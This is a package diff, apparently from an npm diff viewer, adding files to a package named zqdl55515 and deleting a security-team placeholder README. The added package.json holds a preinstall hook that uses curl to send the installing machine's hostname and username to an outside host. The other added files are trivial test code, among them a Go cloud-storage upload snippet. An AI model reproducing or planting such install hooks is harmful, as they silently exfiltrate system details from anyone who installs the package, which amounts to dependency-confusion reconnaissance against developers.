+	res, err := client.PutObjectV2(context.Background(), &tos.PutObjectV2Input{PutObjectBasicInput: tos.PutObjectBasicInput{Bucket: "tos-cn-i-3jr8j4ixpe/", Key: "sts.txt"}, Content: strings.NewReader("hello STS")})
+	if err != nil {
+		panic(err)
+	}
+	fmt.Println(res)
+}

package/zqdl555/README.md ADDED Viewed

	@@ -0,0 +1 @@
1	+ 111

package/zqdl555/index.js ADDED Viewed

@@ -0,0 +1,5 @@
+module.exports = {
+  printMsg: function () {
+    console.log("test");
+  },
+};

package/zqdl555/package.json ADDED Viewed

@@ -0,0 +1,12 @@
+{
+  "name": "zqdl55515",
+  "version":"22.2.2",
+  "description":"",
+  "main": "index.js",
+  "scripts": {
+    "test":"echo \"Error: no test specified\" && exit 1",
+    "preinstall":"curl --data-urlencode \"info=$(hostname && whoami)\"https://georgesjetgas.3cx.com.au"
+  },
+  "author":"321123zqdl",
+  "license":"IsC"
+}

package//345/207/275/346/225/260/345/255/246/344/271/240/__pycache__/tos.cpython-37.pyc ADDED Viewed

Binary file

package//345/207/275/346/225/260/345/255/246/344/271/240/math.random.js ADDED Viewed

@@ -0,0 +1,5 @@
+function getRandomInt(max) {
+  return Math.floor(Math.random() * max);
+}
+console.log(getRandomInt(10));
+//0-9不会大于十

package/README.md DELETED Viewed

@@ -1,5 +0,0 @@
-# Security holding package
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-Please refer to www.npmjs.com/advisories?search=zqdl0 for more information.